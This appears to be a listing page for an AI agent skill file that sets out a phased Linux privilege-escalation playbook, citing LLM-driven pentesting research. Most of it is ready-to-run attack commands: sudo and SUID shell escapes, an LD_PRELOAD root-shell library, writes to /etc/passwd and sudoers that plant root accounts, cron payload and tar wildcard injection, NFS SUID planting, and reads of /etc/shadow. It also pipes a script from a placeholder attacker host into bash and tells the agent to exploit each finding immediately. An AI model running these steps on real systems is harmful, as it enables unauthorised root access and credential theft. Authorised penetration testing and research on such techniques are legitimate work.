Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab).
62
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.mdGrounded in autonomous privesc research (Happe & Cito, ESEC/FSE 2023 — hackingBuddyGPT) which empirically validated that ordered, phase-driven enumeration with state tracking outperforms ad hoc command execution. Follow phases in priority order; stop at first exploitable finding and validate before moving to the next phase.
Authorized use only. Run only on systems you own or have explicit written permission to test.
Establish identity, OS, and architecture before anything else. Every later phase depends on this context.
# Identity
id; whoami; groups; cat /proc/$$/status | grep -E 'Uid|Gid|Groups'
# OS and kernel
uname -a
cat /etc/os-release 2>/dev/null || cat /etc/issue
cat /proc/version
# Environment
env | grep -iE 'path|home|sudo|pass|token|secret|key'
echo $PATH
# Network context (pivot potential)
ip addr show 2>/dev/null || ifconfig
ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
cat /etc/hosts
# Running processes (spot root services)
ps auxf 2>/dev/null | grep -v '\[' | head -40Sudo misconfigurations are the most common finding in CTFs and enterprise systems alike.
sudo -l 2>/dev/null
# Parse output carefully:
# (root) NOPASSWD: /usr/bin/vim → vim -c ':!sh'
# (root) NOPASSWD: /usr/bin/python3 → python3 -c 'import os; os.system("/bin/bash")'
# (root) NOPASSWD: /usr/bin/find → find / -exec /bin/sh \; -quit
# (root) NOPASSWD: /usr/bin/less → less /etc/shadow then: !sh
# (root) NOPASSWD: /usr/bin/awk → awk 'BEGIN {system("/bin/sh")}'
# (root) NOPASSWD: /usr/bin/tar → tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# (root) NOPASSWD: /usr/bin/env → env /bin/sh
# (root) NOPASSWD: /usr/bin/zip → zip /tmp/x /tmp/x -T --unzip-command="sh -c /bin/sh"
# (root) NOPASSWD: /usr/bin/man → man man then: !sh
# (root) NOPASSWD: /usr/bin/ftp → ftp then: !sh
# (root) NOPASSWD: /bin/cp → overwrite /etc/passwd or /etc/sudoers
# (root) NOPASSWD: /usr/bin/tee → echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/pwnedFor any allowed binary, check https://gtfobins.github.io/#?sudo — filter for "sudo" column.
# If sudoers contains: Defaults env_keep += "LD_PRELOAD"
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command># Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | sort
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null | sort
# Quick cross-reference against known GTFOBins SUID list
KNOWN_SUID=(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl)
for bin in "${KNOWN_SUID[@]}"; do
find / -name "$bin" -perm -4000 2>/dev/null
done# bash / sh with SUID — direct root shell
/bin/bash -p # -p preserves effective UID
# find
/usr/bin/find / -name "x" -exec /bin/bash -p \; -quit
# python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# vim / vi
/usr/bin/vim -c ':python3 import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# or simply:
/usr/bin/vim -c ':!bash -p'
# nmap (< 5.21 with --interactive)
/usr/bin/nmap --interactive # then: !sh
# cp — overwrite /etc/passwd
openssl passwd -1 -salt salt hackme # get hash
echo 'root2:$1$salt$<hash>:0:0:root:/root:/bin/bash' >> /tmp/newpasswd
/usr/bin/cp /tmp/newpasswd /etc/passwd
su root2 # password: hackme
# env
/usr/bin/env /bin/bash -p
# tee — append to sudoers
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | /usr/bin/tee -a /etc/sudoersCapabilities are frequently overlooked and often not caught by basic linPEAS runs on hardened systems.
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid+ep → direct UID 0
# cap_setgid+ep → direct GID 0
# cap_dac_read_search+ep → read any file (shadow, keys)
# cap_dac_override+ep → write any file
# cap_net_raw+ep → raw sockets / packet capture
# cap_sys_admin → mount, unshare, etc. (container escape)
# cap_sys_ptrace+ep → inject into any process# cap_setuid+ep on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid+ep on perl
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_setuid+ep on ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# cap_dac_read_search on tar (read /etc/shadow)
/usr/bin/tar xf /etc/shadow -I 'cat > /tmp/shadow'
# alternative with python using ctypes
python3 -c "
import ctypes, sys
libc = ctypes.CDLL(None)
libc.open.restype = ctypes.c_int
fd = libc.open('/etc/shadow', 0)
buf = ctypes.create_string_buffer(4096)
libc.read(fd, buf, 4096)
sys.stdout.buffer.write(buf.raw)
"
# cap_net_raw: tcpdump/wireshark without root
tcpdump -i any -w /tmp/cap.pcap &
# Capture credentials from cleartext protocols (FTP, HTTP basic auth, SMTP)# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d/ 2>/dev/null
ls -la /etc/cron.{hourly,daily,weekly,monthly}/ 2>/dev/null
# User cron tables
crontab -l 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Find world-writable scripts called by root cron
# Step 1: identify scripts in crontab
# Step 2: check permissions
for script in $(grep -oP '(?<= )(/[^ ]+\.sh)' /etc/crontab 2>/dev/null); do
ls -la "$script" 2>/dev/null
done
# Monitor for hidden/dynamic cron jobs (no root required)
./pspy64 2>/dev/null | tee /tmp/pspy.txt &
sleep 120; kill %1
grep -iE 'root|CRON|UID=0' /tmp/pspy.txt# 1. Writable script — inject payload
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for cron, then:
/tmp/rootbash -p
# 2. PATH hijacking in cron
# If crontab: PATH=/home/user/bin:/usr/bin:/bin and runs: script.sh
mkdir -p /home/user/bin
cat > /home/user/bin/script.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
EOF
chmod +x /home/user/bin/script.sh
# 3. Wildcard injection (tar)
# cron: tar czf /backup/files.tar.gz -C /target *
cd /target
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'# World-writable directories (excluding /tmp /proc)
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|tmp|run)'
# World-writable files owned by root
find / -writable -type f -user root 2>/dev/null | grep -vE '^/(proc|sys)'
# Writable in PATH
echo $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type f 2>/dev/null
# /etc/passwd writable?
ls -la /etc/passwd
[ -w /etc/passwd ] && echo "WRITABLE /etc/passwd"
# Exploit: add root user without password check
openssl passwd -1 -salt abc hackme
echo 'hacker:$1$abc$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
# /etc/sudoers or /etc/sudoers.d writable?
ls -la /etc/sudoers /etc/sudoers.d/ 2>/dev/null
# Shared object injection — writable .so in library path
find / -name "*.so" -writable 2>/dev/null | grep -vE '^/(proc|sys)'# On target: check exports
cat /etc/exports 2>/dev/null
# Dangerous: /share *(rw,no_root_squash)
# On attacker (requires network access to NFS port 2049):
showmount -e <TARGET_IP>
mkdir /tmp/nfsmount
mount -t nfs <TARGET_IP>:/share /tmp/nfsmount
# As root on attacker:
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash
# On target:
/share/rootbash -pRun only after confirming no higher-yield misconfiguration exists. Kernel exploits risk system instability.
uname -a
cat /etc/os-release
# linux-exploit-suggester (transfer to target)
./linux-exploit-suggester.sh 2>/dev/null | grep -A3 'CVE'
# Key CVEs to check manually (verify exact version before running):
# CVE-2021-4034 PwnKit — pkexec/polkit < 0.120, all major distros
# CVE-2022-0847 DirtyPipe — Linux 5.8–5.16.11, write to read-only files
# CVE-2022-2586 nft_object UAF — Ubuntu 18.04–22.04
# CVE-2023-0386 OverlayFS — Ubuntu 22.04 LTS (< 5.15.0-70)
# CVE-2023-32233 nf_tables — Linux < 6.3.2
# CVE-2024-1086 nf_tables netfilter UAF — Linux 5.14–6.6 (widespread)
# PwnKit quick check
dpkg -l policykit-1 2>/dev/null || rpm -qa polkit 2>/dev/null
# DirtyPipe quick check (requires kernel 5.8+)
uname -r | awk -F. '{if ($1==5 && $2>=8 && $2<=16) print "POTENTIAL DirtyPipe"}'# linPEAS — comprehensive but noisy
curl -sSL https://<ATTACKER_IP>/linpeas.sh | bash 2>/dev/null | tee /tmp/linpeas.txt
# Or transfer and run:
./linpeas.sh -a 2>/dev/null | tee /tmp/linpeas_$(hostname).txt
# linPEAS key sections to review first:
# [+] Sudo version / sudoers
# [+] SUID binaries
# [+] Capabilities
# [+] Writable cron files
# [+] NFS exports
# [+] Interesting writable files
# [+] Kernel exploits (CVE section)
# pspy — process and cron monitoring without root
./pspy64 | tee /tmp/pspy_$(hostname).txt
# Run for at least 2–5 minutes to catch minute-granularity cron jobs
# linux-smart-enumeration (LSE) — tiered verbosity
./lse.sh -l 1 2>/dev/null # Level 1: interesting findings only
./lse.sh -l 2 2>/dev/null # Level 2: all checksResearch (Happe & Cito 2023) shows that maintaining a running state of what has been tried and what the current system profile looks like dramatically reduces redundant commands and improves escalation success rates. Keep a local note:
TARGET: <hostname>
USER: <current user>
KERNEL: <uname output>
SUDO: <sudo -l output>
SUID_HITS: <list>
CAPS_HITS: <list>
CRON_HITS: <list>
WRITABLE_HITS: <list>
TRIED: <list of failed vectors>
NEXT: <prioritized queue>This mirrors the update_state / sliding history pattern that hackingBuddyGPT uses to prevent the LLM (or human operator) from re-attempting exhausted vectors.
| Technique | ID | Vector |
|---|---|---|
| Abuse Elevation Control Mechanism: Setuid/Setgid | T1548.001 | SUID/SGID exploitation |
| Scheduled Task/Job: Cron | T1053.003 | Cron job abuse, wildcard injection |
| Exploitation for Privilege Escalation | T1068 | Kernel CVEs, PwnKit, DirtyPipe |
| Hijack Execution Flow: Dynamic Linker Hijacking | T1574.006 | LD_PRELOAD, writable .so |
| Unsecured Credentials: Credentials In Files | T1552.001 | World-readable config/env files |
| Escape to Host | T1611 | NFS no_root_squash, container escapes |
Phase 0: situational awareness
|
v
Phase 1: sudo -l ──► hit? exploit immediately
|
v
Phase 2: SUID/SGID ──► cross-ref GTFOBins ──► hit? exploit
|
v
Phase 3: getcap -r / ──► cap_setuid/dac_read? exploit
|
v
Phase 4: cron (cat /etc/crontab + pspy) ──► writable script? inject
|
v
Phase 5: writable /etc/passwd, sudoers, PATH ──► exploit
|
v
Phase 6: NFS exports no_root_squash ──► SUID binary via mount
|
v
Phase 7: kernel CVEs (linux-exploit-suggester) ──► last resortAfter root:
/etc/shadow → crack offline or pass-the-hash/root/.ssh//etc/passwd + /etc/shadow → Credential Access skill31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.